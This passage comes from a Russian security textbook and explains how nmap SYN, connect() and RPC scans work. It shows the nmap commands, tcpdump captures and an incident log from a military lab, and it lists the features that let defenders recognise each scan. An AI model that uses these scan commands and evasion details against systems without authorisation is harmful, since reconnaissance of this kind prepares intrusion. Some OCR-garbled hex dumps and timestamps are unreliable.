Многие из названных выше методов реализованы в работе реального сканера nmap, широко используемого для Unix-платформ [38]. Он поддерживает перечисленные сканирования (например, простое TCP connect(), SYN, FIN), а также способен определить тип сканируемого хоста на основе информации из стека TCP. Nmap обходит утилиту portmapper и переносит запросы RPC непосредственно на любые открытые TCP- или UDP-порты. Сканирование RPC может быть совмещено со сканированием TCP и UDP.
Рассмотрим подробнее один из режимов работы nmap - SYN-сканирование. При этом стандартном сканировании используются обманные SYN-пакеты, ждущие ответа с указанием SYN и АСК от открытых портов на сканируемом хосте. Ниже представлено такое сканирование в виде листинга с результатами работы утилиты tcpdump.
% nmap -Р0 -sS -р78-85 192.168.1.1
10:54:09 172.20.1.1.39769 > 192.168.1.1.80: S 2585925862:2585925862(0) win 4096 (ttl 39, id 48666) 10:54:09172.20.1.1.39769 > 192.168.1.1.81: S 2585925862:2585925862(0) win 4096 (ttl 39, id 65179) 10:54:09172.20.1.1.39769 > 192.168.1.1.84: S 2585925862:2585925862(0) win 4096 (ttl 39, id 42056) 10:54:09172.20.1.1.39769 > 192.168.1.1.82: S 2585925862:2585925862(0) win 4096 (ttl 39, id 71) 10:54:09 172.20.1.1.39769 > 192.168.1.1.78: S 2585925862:2585925862(0) win 4096 (ttl 39, id 41568) 10:54:09 172.20.1.1.39769 > 192.168.1.1.83: S 2585925862:2585925862(0) win 4096 (ttl 39, id 36563) 10:54:09172.20.1.1.39769 > 192.168.1.1.79: S 2585925862:2585925862(0) win 4096 (ttl 39, id 64848) 10:54:09 172.20.1.1.39769 > 192.168.1.1.85: S 2585925862:2585925862(0) win 4096 (ttl 39, id 6151) 10:54:09 192.168.1.1.80 > 172.20.1.1.39769: S 2955358057:2955358057(0) ack 2585925863 win 1072 <mss 1460> (DF) (ttl 114, id 54406)
10:54:09 172.20.1.1.39769 > 192.168.1.1.80: R 2585925863:2585925863(0) win 0 (ttl 64, id 36132) 10:54:09 192.168.1.1.81 > 172.20.1.1.39769: S 2955357578:2955357578(0) ack 2585925863 win 1072 <mss 1460> (DF) (ttl 114, id 54662)
10:54:09172.20.1.1.39769 > 192.168.1.1.81: R 2585925863:2585925863(0) win 0 (ttl 64, id 51740)
10:54:09172.20.1.1.39770 > 192.168.1.1.84: S 1005570163:1005570163(0) win 4096 (ttl 39, id 44955)
10:54:09 172.20.1.1.39770 > 192.168.1.1.82: S 1005570163:1005570163(0) win 4096 (ttl 39, id 57352)
10:54:09 172.20.1.1.39770 > 192.168.1.1.78: S 1005570163:1005570163(0) win 4096 (ttl 39, id 52295)
10:54:09 172.20.1.1.39770 > 192.168.1.1.83: S 1005570163:1005570163(0) win 4096 (ttl 39, id 40374)
338
Информационная безопасность открытых систем
10:54:09 172.20.1.1.39770 > 192.168.1.1.79: S 1005570163:1005570163(0) win 4096 (ttl 39, id 38718) 10:54:09172.20.1.1.39770 > 192.168.1.1.85: S1005570163:1005570163(0) win 4096 (ttl 39, id 40208) 10:54:09 172.20.1.1.39771 > 192.168.1.1.84: S 430816999:430816999(0) win 4096 (ttl 39, id 30314) 10:54:09172.20.1.1.39771 > 192.168.1.1.82: S 430816999:430816999(0) win 4096 (ttl 39, id 39007) 10:54:09 172.20.1.1.39771 > 192.168.1.1.78: S 430816999:430816999(0) win 4096 (ttl 39, id 34872) 10:54:09 172.20.1.1.39771 > 192.168.1.1.83: S 430816999:430816999(0) win 4096 (ttl 39, id 30001) 10:54:09 172.20.1.1.39771 > 192.168.1.1.79: S 430816999:430816999(0) win 4096 (ttl 39, id 49973) 10:54:09 172.20.1.1.39771 > 192.168.1.1.85: S 430816999:430816999(0) win 4096 (ttl 39, id 44611) 10:54:10 172.20.1.1.39772 > 192.168.1.1.85: S 2585925862:2585925862(0) win 4096 (ttl 39, id 42377) 10:54:10 172.20.1.1.39772 > 192.168.1.1.79: S 2585925862:2585925862(0) win 4096 (ttl 39, id 41404) 10:54:10 172.20.1.1.39772 > 192.168.1.1.83: S 2585925862:2585925862(0) win 4096 (ttl 39, id 64048) 10:54:10 172.20.1.1.39772 > 192.168.1.1.78: S 2585925862:2585925862(0) win 4096 (ttl 39, id 43386) 10:54:10172.20.1.1.39772 > 192.168.1.1.82: S 2585925862:2585925862(0) win 4096 (ttl 39, id 19858) 10:54:10172.20.1.1.39772 > 192.168.1.1.84: S 2585925862:2585925862(0) win 4096 (ttl 39, id 29952) 10:54:10 172.20.1.1.39773 > 192.168.1.1.85: S 1005570163:1005570163(0) win 4096 (ttl 39, id 9274) 10:54:10 172.20.1.1.39773 > 192.168.1.1.79: S 1005570163:1005570163(0) win 4096 (ttl 39, id 20289) 10:54:10 172.20.1.1.39773 > 192.168.1.1.83: S 1005570163:1005570163(0) win 4096 (ttl 39, id 1730) 10:54:10 172.20.1.1.39773 > 192.168.1.1.78: S 1005570163:1005570163(0) win 4096 (ttl 39, id 39603) 10:54:10 172.20.1.1.39773 > 192.168.1.1.82: S 1005570163:1005570163(0) win 4096 (ttl 39, id 8480) 10:54:10 172.20.1.1.39773 > 192.168.1.1.84: S 1005570163:1005570163(0) win 4096 (ttl 39, id 41432) 10:54:10172.20.1.1.39774 > 192.168.1.1.85: S 430816999:430816999(0) win 4096 (ttl 39, id 16491) 10:54:10172.20.1.1.39774 > 192.168.1.1.79: S 430816999:430816999(0) win 4096 (ttl 39, id 36604) 10:54:10 172.20.1.1.39774 > 192.168.1.1.83: S 430816999:430816999(0) win 4096 (ttl 39, id 58110) 10:54:10172.20.1.1.39774 > 192.168.1.1.78: S 430816999:430816999(0) win 4096 (ttl 39, id 61003) 10:54:10 172.20.1.1.39774 > 192.168.1.1.82: S 430816999:430816999(0) win 4096 (ttl 39; id 63609) 10:54:10 172.20.1.1.39774 > 192.168.1.1.84: S 430816999:430816999(0) win 4096 (ttl 39, id 46398)
Это был пример TCP SYN-сканирования между портами 78 и 85 на компьютере, для которого известно, что на портах 80 и 81 работают веб-серверы. Для них получены значения SYN и АСК, показывающие, что на компьютере-жертве эти порты открыты. Сканируемый компьютер ответил посылкой RST, потому что он не знает о соединении (напомним, что обманные пакеты созданы nmap).
В данном примере важно отметить следующее.
1.	Порты назначения получены случайным образом. Это делается с целью введения в замешательство систем обнаружения вторжений.
2.	Порты источника одинаковы для нескольких пакетов, а затем постепенно увеличиваются.
3.	Начальные номера последовательностей ISN (Initial Sequence Numbers) также постоянны для нескольких пакетов, а затем изменяются, но по одинаковой схеме.
4.	Числа IP ID выбираются случайным образом.
5.	Размеры окон TCP постоянны в течение всего сканирования. (Обычно эти размеры выбираются случайным образом в начале сканирования и имеют значения 1024, 2048, 3072 или 4096 октетов. Это еще одна попытка уйти от систем обнаружения вторжений.)
6.	Начальное TTL постоянно в течение сканирования. (Оно выбирается случайным образом в начале сканирования и находится в диапазоне между 37 и 59. Это также является попыткой избежать обнаружения.)
По перечисленным типичным признакам распознать SYN-сканирование средством nmap достаточно просто. Сигнатура этого сканирования известна, поскольку nmap реализует SYN-сканирование, используя обманные пакеты.
4. Атаки на открытые системы
339
Второй пример работы nmap - простое сканирование TCP connectQ на основе стека TCP/IP ОС и системных вызовов (system calls). Функция connect(), присутствующая в любой ОС, позволяет создать соединение с любым портом удаленной машины. При данном методе сканирования осуществляется попытка подключения по протоколу TCP к интересующему злоумышленнику порту с прохождением полной процедуры согласования параметров (handshake). Если указанный в качестве аргумента порт открыт и прослушивается сканируемой машиной, то результат выполнения connect() будет успешным (т. е. соединение будет установлено). В противном случае указанный порт является закрытым, либо доступ к нему заблокирован средствами защиты. Для использования данного метода пользователь может не иметь никаких привилегий на сканируемом хосте.
Этот метод сканирования легко обнаруживается целевым (т. е. сканируемым) хостом, поскольку его лог-файл будет содержать запротоколированные многочисленные попытки соединения и ошибки выполнения данной операции. Службы, обрабатывающие подключения, немедленно заблокируют доступ адресу, вызвавшему эти ошибки.
Большинство параметров в IP-дейтаграммах устанавливается стеком TCP/IP хоста. Такое сканирование nmap для разных ОС будет выглядеть по-разному. Приведем пример для одной из версий OpenBSD.
% nmap -Р0 -sT -р78-85 192.168.1.1
10:56:19 172.20.1.1.20365 > 192.168.1.1.80: S 4096531040:4096531040(0) win 16384
<mss 512,nop,wscale O.nop,nop,timestamp 406102 0> (ttl 64, id 15568)
10:56:19172.20.1.1.12145 > 192.168.1.1.79: S 4096546916:4096546916(0) win 16384
<mss 512,nop,wscale O.nop,nop, timestamp 406102 0> (ttl 64, id 5534)
10:56:19172.20.1.1.18707 > 192.168.1.1.83: S 4096554384:4096554384(0) win 16384
<mss 512,nop,wscale O.nop,nop, timestamp 406102 0> (ttl 64, id 30006)
10:56:19172.20.1.1.11496 > 192.168.1.1.85: S 4096604988:4096604988(0) win 16384
<mss 512,nop,wscale O.nop,nop, timestamp 406102 0> (ttl 64, id 25118)
10:56:19 172.20.1.1.34877 > 192.168.1.1.81: S 4096663100:4096663100(0) win 16384
<mss 512,nop,wscale O.nop.nop,timestamp 406102 0> (ttl 64, id 26945)
10:56:19 172.20.1.1.8426 > 192.168.1.1.78: S 4096677617:4096677617(0) win 16384
<mss 512,nop,wscale O.nop.nop. timestamp 406102 0> (ttl 64, id 10613)
10:56:19172.20.1.1.48206 > 192.168.1.1.84: S 4096712665:4096712665(0) win 16384
<mss 512,nop,wscale O.nop.nop,timestamp 406102 0> (ttl 64, id 1824)
10:56:19172.20.1.1.43184 > 192.168.1.1.82: S 4096765358:4096765358(0) win 16384
<mss 512,nop,wscale O.nop,nop.timestamp 406102 0> (ttl 64, id 20815)
10:56:20 192.168.1.1.80 > 172.20.1.1.20365: S 2955488721:2955488721(0) ack 4096531041 win 1024 <mss 1460> (DF) (ttl 114, id 9608)
10:56:20 172.20.1.1.20365 > 192.168.1.1.80:. ack 1 win 16384 (ttl 64, id 406)
10:56:20 172.20.1.1.20365 > 192.168.1.1.80: R 1:1(0) ack 1 win 0 (ttl 64, id 31087)
10:56:20 192.168.1.1.81 > 172.20.1.1.34877: S 2955488364:2955488364(0) ack 4096663101 win 1024 <mss 1460> (DF) (ttl 114, id 9864)
10:56:20 172.20.1.1.34877 > 192.168.1.1.81:. ack 1 win 16384 (ttl 64, id 10544)
10:56:20 172.20.1.1.34877 > 192.168.1.1.81: R 1:1(0) ack 1 win 0 (ttl 64, id 29338)
10:56:20 172.20.1.1.35736 > 192.168.1.1.79: S 4096829741:4096829741(0) win 16384
<mss 512,nop,wscale O.nop.nop,timestamp 406103 0> (ttl 64, id 16211)
10:56:20 172.20.1.1.23922 > 192.168.1.1.83: S 4096888063:4096888063(0) win 16384
<mss 512,nop,wscale O.nop,nop,timestamp 406103 0> (ttl 64, id 11439)
10:56:20 172.20.1.1.9977 > 192.168.1.1.85: S 4096930837:4096930837(0) win 16384
340
Информационная безопасность открытых систем
<mss 512,nop,wscale O,nop,nop,timestamp 406103 0> (ttl 64, id 16913)
10:56:20 172.20.1.1.30364 > 192.168.1.1.78: S 4096931462:4096931462(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406103 0> (ttl 64, id 4560)
10:56:20 172.20.1.1.16933 > 192.168.1.1.84: S 4096965847:4096965847(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406103 0> (ttl 64, id 12154)
10:56:20 172.20.1.1.19365 > 192.168.1.1.82: S 4097007100:4097007100(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406103 0> (ttl 64, id 23414)
10:56:20 172.20.1.1.8558 > 192.168.1.1.79: S 4097072333:4097072333(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 30979)
10:56:20 172.20.1.1.10392 > 192.168.1.1.83: S 4097114681:4097114681(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 23805)
10:56:20172.20.1.1.45297 > 192.168.1.1.85: S 4097170862:4097170862(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 16011)
10:56:20 172.20.1.1.13264 > 192.168.1.1.78: S 4097221243:4097221243(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 17356)
10:56:20 172.20.1.1.38705 > 192.168.1.1.84: S 4097226803:4097226803(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 28926)
10:56:20 172.20.1.1.21255 > 192.168.1.1.82: S 4097235392:4097235392(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 2097)
10:56:20 172.20.1.1.12105 > 192.168.1.1.82: S 4097251193:4097251193(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 2880)
10:56:20 172.20.1.1.43229 > 192.168.1.1.84: S 4097258290:4097258290(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 5538)
10:56:20 172.20.1.1.30085 > 192.168.1.1.78: S 4097300637:4097300637(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 13978)
10:56:20 172.20.1.1.2161 > 192.168.1.1.85: S 4097312766:4097312766(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 31544)
10:56:20 172.20.1.1.22608 > 192.168.1.1.83: S 4097357637:4097357637(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 7895)
10:56:20 172.20.1.1.16605 > 192.168.1.1.79: S 4097410745:4097410745(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406104 0> (ttl 64, id 26786)
10:56:21 172.20.1.1.7455 > 192.168.1.1.82: S 4097471276:4097471276(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406105 0> (ttl 64, id 29609)
10:56:21 172.20.1.1.38963 > 192.168.1.1.84: S 4097510285:4097510285(0) win 16384
<mss 512,nop,wscale 0,nop,nop, timestamp 406105 0> (ttl 64, id 26241)
10:56:21 172.20.1.1.32922 > 192.168.1.1.78: S 4097523123:4097523123(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406105 0> (ttl 64, id 17252)
10:56:21 172.20.1.1.41428 > 192.168.1.1.85: S 4097541252:4097541252(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406105 0> (ttl 64, id 14265)
10:56:21 172.20.1.1.35884 > 192.168.1.1.83: S 4097545052:4097545052(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406105 0> (ttl 64, id 1832)
10:56:21 172.20.1.1.40400 > 192.168.1.1.79: S 4097565579:4097565579(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406105 0> (ttl 64, id 18442)
10:56:21 172.20.1.1.25181 > 192.168.1.1.82: S 4097617854:4097617854(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406106 0> (ttl 64, id 2438)
10:56:21 172.20.1.1.37460 > 192.168.1.1.84: S 4097669306:4097669306(0) win 16384
<mss 512,nop,wscale 0,nop,nop,timestamp 406106 0> (ttl 64, id 548)
Характерно для данного сканирования следующее.
1.	Порты назначения, как и прежде, выбираются случайным образом.
2.	Порт источника выбран случайным образом. Это вполне обычно для OpenBSD. Многие системы будут просто постепенно увеличивать значение порта источника.
4. Атаки на открытые системы
341
3.	Как и прежде, увеличиваются и значения ISN.
4.	IP ID выбирается случайно, что нормально для OpenBSD. Многие системы просто увеличат это значение при посылке дейтаграммы.
5.	Значение размера окна TCP - 16 384 октетов. При запросе соединения указывается ряд опций TCP. Опять это типично для OpenBSD и нельзя списать на работу nmap.
6.	Начальное TTL, установленное OpenBSD, равно 64.
Отметим, что соединения с портами 80 и 81 полностью открыты, но никакие данные не передаются. (Число в скобках после номеров последовательностей - это число октетов данных TCP в пакете. В примере все они равны "0".) Успешное соединение всегда завершится входом на сканируемый хост, поэтому-то сканирование connectO рассматривается как "почти невидимое".
Если сканирование TCP или UDP используется вместе с RPC-сканированием, то сначала выполняется TCP/UDP-сканирование, а затем обнаруженные открытые порты подвергаются сканированию RPC. Сканирование RPC - это обычные ТСР-соединения (посредством connect(), а не обманных пакетов). Данные посылаются при соединении в форме RPC-запросов. Приведем пример.
% nmap -PC -sS -sR -р78-85 192.168.1.1
10:54:11 172.20.1.1.29850 > 192.168.1.1.80: S 4088233511:4088233511(0) win 16384
<mss 512,nop,wscale O,nop,nop,timestamp 405845 0> (ttl 64, id 60806)
10:54:11 192.168.1.1.80 > 172.20.1.1.29850: S 2955359978:2955359978(0) ack 4088233512 win 1024
<mss 1460> (DF) (ttl 114, id 55174)
10:54:11 172.20.1.1.29850 > 192.168.1.1.80:. ack 1 win 16384 (ttl 64, id 41143)
10:54:11 172.20.1.1.29850 > 192.168.1.1.80: P 1:45(44) ack 1 win 16384 (ttl 64, id 39834)
10:54:11 192.168.1.1.80> 172.20.1.1.29850:. ack 45 win 8148 (DF) (ttl 114, id 55430)
10:54:11 172.20.1.1.29850 > 192.168.1.1.80: P 45:89(44) ack 1 win 16384 (ttl 64, id 35625)
10:54:11 192.168.1.1.80 > 172.20.1.1.29850:. ack 89 win 8104 (DF) (ttl 114, id 55686)
10:54:11 172.20.1.1.29850 > 192.168.1.1.80: P 89:133(44) ack 1 win 16384 (ttl 64, id 56253)
10:54:11 192.168.1.1.80 > 172.20.1.1.29850:. ack 133 win 8060 (DF) (ttl 114, id 55942)
10:54:11 172.20.1.1.29850 > 192.168.1.1.80: P 133:177(44) ack 1 win 16384 (ttl 64, id 56726)
10:54:12 192.168.1.1.80 > 172.20.1.1.29850:. ack 177 win 8016 (DF) (ttl 114, id 57990)
10:54:12 172.20.1.1.29850 > 192.168.1.1.80: P 177:221(44) ack 1 win 16384 (ttl 64, id 54946)
10:54:12 192.168.1.1.80 > 172.20.1.1.29850:. ack 221 win 7972 (DF) (ttl 114, id 58246)
10:54:12172.20.1.1.29850 > 192.168.1.1.80: P 221:265(44) ack 1 win 16384 (ttl 64, id 36575)
10:54:12 192.168.1.1.80 > 172.20.1.1.29850:. ack 265 win 7928 (DF) (ttl 114, id 58758)
10:54:12 172.20.1.1.29850 > 192.168.1.1.80: F 265:265(0) ack 1 win 16384 (ttl 64, id 56851)
10:54:12 172.20.1.1.19353 > 192.168.1.1.81: S 4088366234:4088366234(0) win 16384
&t;mss 512,nop,wscale 0,nop,nop,timestamp 405848 0> (ttl 64, id 37869)
10:54:12 192.168.1.1.80 > 172.20.1.1.29850:. ack 266 win 7928 (DF) (ttl 114, id 59014)
10:54:12 192.168.1.1.80 > 172.20.1.1.29850: F 1:1(0) ack 266 win 1024 (DF) (ttl 114, id 59270)
10:54:12 172.20.1.1.29850> 192.168.1.1.80:. ack2 win 16384 (ttl 64, id49919)
10:54:12 192.168.1.1.81 > 172.20.1.1.19353: S 2955361092:2955361092(0) ack 4088366235 win 1024
<mss 1460> (DF) (ttl 114, id 59526)
10:54:12172.20.1.1.19353 > 192.168.1.1.81:. ack 1 win 16384 (ttl 64, id 54223)
10:54:12172.20.1.1.19353 > 192.168.1.1.81: P 1:45(44) ack 1 win 16384 (ttl 64, id 43662)
10:54:12 192.168.1.1.81 > 172.20.1.1.19353:. ack 45 win 8148 (DF) (ttl 114, id 60038)
10:54:12 172.20.1.1.19353 > 192.168.1.1.81: P 45:89(44) ack 1 win 16384 (ttl 64, id 36845)
10:54:13 192.168.1.1.81 > 172.20.1.1.19353:. ack 89 win 8104 (DF) (ttl 114, id 60294)
10:54:13 172.20.1.1.19353 > 192.168.1.1.81: P 89:133(44) ack 1 win 16384 (ttl 64, id 60612)
342
Информационная безопасность открытых систем
10:54:13 192.168.1.1.81 > 172.20.1.1.19353:. аск 133 win 8060 (DF) (ttl 114, id 60550)
10:54:13 172.20.1.1.19353 > 192.168.1.1.81: P 133:177(44) ack 1 win 16384 (ttl 64, id 56541)
10:54:13 192.168.1.1.81 > 172.20.1.1.19353:. ack 177 win 8016 (DF) (ttl 114, id 60806)
10:54:13172.20.1.1.19353 > 192.168.1.1.81: P 177:221(44) ack 1 win 16384 (ttl 64, id 51499)
10:54:13 192.168.1.1.81 > 172.20.1.1.19353:. ack 221 win 7972 (DF) (ttl 114, id 61062)
10:54:13 172.20.1.1.19353 > 192.168.1.1.81: P 221:265(44) ack 1 win 16384 (ttl 64, id 47774)
10:54:14 192.168.1.1.81 > 172.20.1.1.19353: .ack265win7928(DF) (ttl 114, id61318)
10:54:14 172.20.1.1.19353 > 192.168.1.1.81: F 265:265(0) ack 1 win 16384 (ttl 64, id 51221)
10:54:14 192.168.1.1.81 > 172.20.1.1.19353:. ack 266 win 7928 (DF) (ttl 114, id 61574)
10:54:14192.168.1.1.81 > 172.20.1.1.19353: P 1:225(224) ack 266 win 7928 (DF) (ttl 114, id 61830)
10:54:14 172.20.1.1.19353 > 192.168.1.1.81: R 4088366500:4088366500(0) win 0 (ttl 64, id 36847)
10:54:14192.168.1.1.81 > 172.20.1.1.19353: F 225:225(0) ack 266 win 1024 (DF) (ttl 114, id 62086)
10:54:14 172.20.1.1.19353 > 192.168.1.1.81: R 4088366500:4088366500(0) win 0 (ttl 64, id 58127)
Отметим для этого примера следующие важные моменты.
1.	Так как TCP-соединения инициируются через TCP/IP-стек хоста, многие параметры дейтаграмм соответствуют характеристикам хоста, а не средствам сканирования [метод сканирования TCP connect©].
2.	Соединения пытаются установить только на тех портах, которые были определены как открытые на первом этапе сканирования (в нашем примере это порты 80 и 81).
3.	Соединения полностью открываются и по ним пересылаются данные. (Теперь числа в скобках после номеров последовательностей не равны нулю, а соответствующие номера последовательностей увеличиваются при соединении.)
Подводя итог, отметим типичные признаки данного типа сканирования:
	полное сканирование портов (TCP connect(), SYN и т. п.) затем дополняется вторым сканированием только открытых портов;
	на все открытые порты посылаются одни и те же данные.
Теперь приведем сканирование nmap одного из TCP-портов на RPC-сервисы. (Это был веб-сервер, поэтому на нем не обнаружено RPC-сервисов.)
10:54:11.209054 172.20.1.1.29850 > 192.168.1.1.80: Р 1:45(44) ack 1 win 16384 (ttl 64, id 39834)
4500 0054 9Ь9а 0000 4006 20a9 ac14 0101
c0a8 0101 749a 0050 f3ad 7e28 b027 36eb
5018 4000 7053 0000 8000 0028 ee73 81 at
0000 0000 0000 0002 0001 86ad 0003 fd 8
0000 0000 0000 0000 0000 0000 0000 0000
00000000
10:54:11.375337 192.168.1.1.80 > 172.20.1.1.29850:. ack 45 win 8148 (DF) (ttl 114, id 55430)
4500 0028 d886 4000 7206 71 e8 c0a8 0101
ac14 0101 0050 749a b027 36eb f3ad 7e54
50101 fd4 03a0 0000 6d6e 6f70 7172
10:54:11.375377 172.20.1.1.29850 > 192.168.1.1.80: P 45:89(44) ack 1 win 16384 (ttl 64, id 35625)
4500 0054 8b29 0000 4006 311 a ac14 0101
c0a8 0101 749a 0050 f3ad 7e54 b027 36eb
5018 4000 6ff5 0000 8000 0028 ee73 81 bO
0000 0000 0000 0002 0001 86de 0003 fc18
0000 0000 0000 0000 0000 0000 0000 0000
00000000
10:54:11.594473 192.168.1.1.80 > 172.20.1.1.29850:. ack 89 win 8104 (DF) (ttl 114, id 55686)
4500 0028 d986 4000 7206 70e8 c0a8 0101
4. Атаки на открытые системы
343
ас14 0101 0050 749а Ь027 36eb f3ad 7е80
501011а8 ОЗаО 0000 4745 5420 2169
10:54:11.594512 172.20.1.1.29850 > 192.168.1.1.80: Р 89:133(44) аск 1 win 16384 (ttl 64, id 56253)
4500 0054 dbbd 0000 4006 e085 ac14 0101
c0a8 0101 749a 005013ad 7e80 b027 36eb
5018 4000 2ffc 0000 8000 0028 2e73 81 at
0000 0000 0000 0002 0001 86ad 00031c18
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000
10:54:11.812729 192.168.1.1.80 > 172.20.1.1.29850:. ack 133 win 8060 (DF) (ttl 114, id 55942)
4500 0028 da86 4000 7206 6fe8 c0a8 0101
ac14 0101 0050 749a b027 36eb f3ad 7eac
5010117c ОЗаО 0000 6d6e 6f70 7172
10:54:11.812765 172.20.1.1.29850 > 192.168.1.1.80: P 133:177(44) ack 1 win 16384 (ttl 64, id 56726)
4500 0054 dd96 0000 4006 deac ac14 0101
c0a8 0101 749a 0050 f3ad 7eac b027 36eb
5018 4000 2f9e 0000 8000 0028 2e73 81 bO
0000 0000 0000 0002 0001 86de 0003 1c18
0000 0000 0000 0000 0000 0000 0000 0000
00000000
10:54:12.031366 192.168.1.1.80 > 172.20.1.1.29850:. ack 177 win 8016 (DF) (ttl 114, id 57990)
4500 0028 e286 4000 7206 67e8 c0a8 0101
ac14 0101 0050 749a b027 36eb f3ad 7ed8
50101150 ОЗаО 0000 0204 05b4 2169
10:54:12.106707 172.20.1.1.29850 > 192.168.1.1.80: P 177:221(44) ack 1 win 16384 (ttl 64, id 54946)
4500 0054 d6a2 0000 4006 e5a0 ac14 0101
c0a8 0101 749a 0050 f3ad 7ed8 b027 36eb
5018 4000 efa3 0000 8000 0028 6e73 81 at
0000 0000 0000 0002 0001 86ad 00031c18
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000
10:54:12.359741 192.168.1.1.80 > 172.20.1.1.29850:. ack 221 win 7972 (DF) (ttl 114, id 58246)
4500 0028 e386 4000 7206 66e8 c0a8 0101
ac14 0101 0050 749a b027 36eb 13ad 7104
50101t24 ОЗаО 0000 0204 05b4 664b
10:54:12.359776 172.20.1.1.29850 > 192.168.1.1.80: P 221:265(44) ack 1 win 16384 (ttl 64, id 36575)
4500 0054 8edf 0000 4006 2d64 ac14 0101
c0a8 0101 749a 0050 f3ad 7104 b027 36eb
5018 4000 ef45 0000 8000 0028 6e73 81 bO
0000 0000 0000 0002 0001 86de 0003 fc18
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000
10:54:12.579418 192.168.1.1.80 > 172.20.1.1.29850:. ack 265 win 7928 (DF) (ttl 114, id 58758)
4500 0028 e586 4000 7206 64e8 c0a8 0101
ac14 0101 0050 749a b027 36eb f3ad 7130
50101 ef8 ОЗаО 0000 6d6e 6f70 7172
Обнаруживающий работу nmap трафик можно классифицировать по двум категориям [38]. Первая группа названа "случайное сканирование" (random scan). Сигнатура, или типичный признак, сканирования характеризуется наличием SYN-пакетов, посланных по совершенно случайным портам назначения (или сервисов) в пределах некоторого дискретного диапазона значений. В конце этого сканирования обычно
344
Информационная безопасность открытых систем
видно несколько пакетов к TCP- и UDP-портам с большими номерами, сопровождаемых несколькими пакетами к обычному порту назначения. Второй класс трафика условно называется (из-за отсутствия лучшего термина) "скрытые возможности с плюсом" (exploits plus). Хотя сигнатура меняется в зависимости от доступных портов сервисов, основные характеристики похожи на случайное сканирование. Основное различие - это замена случайных портов назначения на известные (и часто атакуемые) порты сервисов.
Рассмотрим подробнее реальный пример случайного сканирования (пример 1). (Этот листинг взят из отчета об инциденте, зарегистрированном военной научно-исследовательской лабораторией Adelphi Md.)
Пример 1. Случайное сканирование
Timestamp - Source Destination - Flag - Sequence Numbers - Window size
(время - источник адресата - флаг - номера последовательностей - размер окна
18:42:25.241999 hostile.org.42558 > victim.mil.688: S 3596953827:3596953827(0) win 4096
18:42:25.251999 hostile.org.42558 > victim.mil.451: S 3596953827:3596953827(0) win 4096
18:42:25.481999 hostile.org.42558 > victim.mil.185: S 3596953827:3596953827(0) win 4096
18:42:25.491999 hostile.org.42558 > victim.mil.41: S 3596953827:3596953827(0) win 4096
18:42:25.651999 hostile.org.42558 > victim.mil.721: S 3596953827:3596953827(0) win 4096
18:42:25.661999 hostile.org.42558 > victim.mil.122: S 3596953827:3596953827(0) win 4096
18:42:25.681999 hostile.org.42558 > victim.mil.883: S 3596953827:3596953827(0) win 4096
18:42:25.681999 hostile.org.42558 > victim.mil.567: S 3596953827:3596953827(0) win 4096
18:42:25.731999 hostile.org.42558 > victim.mil.331: S 3596953827:3596953827(0) win 4096
18:42:25.731999 hostile.org.42558 > victim.mil.880: S 3596953827:3596953827(0) win 4096
18:42:25.731999 hostile.org.42558 > victim.mil.752: S 3596953827:3596953827(0) win 4096
18:42:25.741999 hostile.org.42558 > victim.mil.358: S 3596953827:3596953827(0) win 4096
18:42:25.741999 hostile.org.42558 > victim.mil.957: S 3596953827:3596953827(0) win 4096
18:42:25.751999 hostile.org.42558 > victim.mil.206: S 3596953827:3596953827(0) win 4096
18:42:25.751999 hostile.org.42558 > victim.mil.248: S 3596953827:3596953827(0) win 4096
18:42:25.761999 hostile.org.42558 > victim.mil.208: S 3596953827:3596953827(0) win 4096
18:42:25.771999 hostile.org.42558 > victim.mil.300: S 3596953827:3596953827(0) win 4096
18:42:25.791999 hostile.org.42558 > victim.mil.999: S 3596953827:3596953827(0) win 4096
18:42:25.951999 hostile.org.42558 > victim.mil.354: S 3596953827:3596953827(0) win 4096
18:42:25.951999 hostile.org.42558 > victim.mil.376: S 3596953827:3596953827(0) win 4096
18:42:25.951999 hostile.org.42558 > victim.mil.618: S 3596953827:3596953827(0) win 4096
18:42:25.881999 hostile.org.42558 > victim.mil.24: S 3596953827:3596953827(0) win 4096
18:42:26.151999 hostile.org.42558 > victim.mil.741: S 3596953827:3596953827(0) win 4096
18:42:26.151999 hostile.org.42558 > victim.mil.165: S 3596953827:3596953827(0) win 4096
18:42:26.151999 hostile.org.42567 > victim.mil.13: SFP 1769772146:1769772146(0) win 4096 urg 0
18:42:26.151999 hostile.org.42558 > victim.mil.33119: udp 300
18:42:26.151999 hostile.org.42558 > victim.mil.33119: udp 300
18:42:26.171999 hostile.org.42564 > victim.mil.13: S 1884246333:1884246333(0) win 4096
18:42:26.171999 hostile.org.42563 > victim.mil. 13: S 1884246332:1884246332(0) win 4096
18:42:26.171999 hostile.org.42562 > victim.mil.13: S 1884246331:1884246331(0) win 4096
18:42:26.221999 hostile.org.42561 > victim.mil. 13: S 1884246330:1884246330(0) win 4096
